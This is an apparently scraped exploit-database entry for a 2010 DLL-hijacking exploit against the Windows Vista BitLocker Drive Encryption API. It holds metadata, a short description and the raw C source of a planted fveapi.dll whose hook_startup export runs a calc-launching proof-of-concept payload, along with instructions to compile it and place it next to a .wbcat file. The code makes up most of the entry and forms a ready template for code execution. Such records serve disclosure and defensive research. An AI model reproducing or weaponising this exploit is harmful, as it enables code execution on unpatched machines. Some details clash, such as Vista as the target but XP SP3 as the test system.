header-logo
Suggest Exploit
vendor:
Windows Vista
by:
Beenu Arora
8,8
CVSS
HIGH
API Hijacking
94
CWE
Product Name: Windows Vista
Affected Version From: Microsoft Vista
Affected Version To: Microsoft Vista
Patch Exists: YES
Related CWE: N/A
CPE: o:microsoft:windows_vista
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows XP SP3
2010

Microsoft Vista BitLocker Drive Encryption API Hijacking Exploit

This exploit takes advantage of the Microsoft Vista BitLocker Drive Encryption API to execute arbitrary code. The exploit is triggered by creating a file with one of the vulnerable extensions (.wbcat) in the same directory as the malicious DLL. When the system attempts to access the file, the malicious DLL is loaded and the hook_startup() function is executed, which in turn executes the evil() function. The evil() function then executes the Windows calculator application.

Mitigation:

Microsoft has released a patch to address this vulnerability.
Source

Exploit-DB raw data:

# Greetz to :b0nd, Fbih2s,r45c4l,Charles ,j4ckh4x0r, punter,eberly, Charles , Dinesh Arora

/* 
Exploit Title: Microsoft Vista BitLocker Drive Encryption API Hijacking Exploit
Date: 25/08/2010
Author: Beenu Arora
Tested on: Windows XP SP3
Vulnerable extensions: .wbcat

Compile and rename to fveapi.dll, create a file in the same dir with one of the following extensions:
.wbcat


#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void hook_startup() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

Navigation

Suggest Exploit

Services By CQR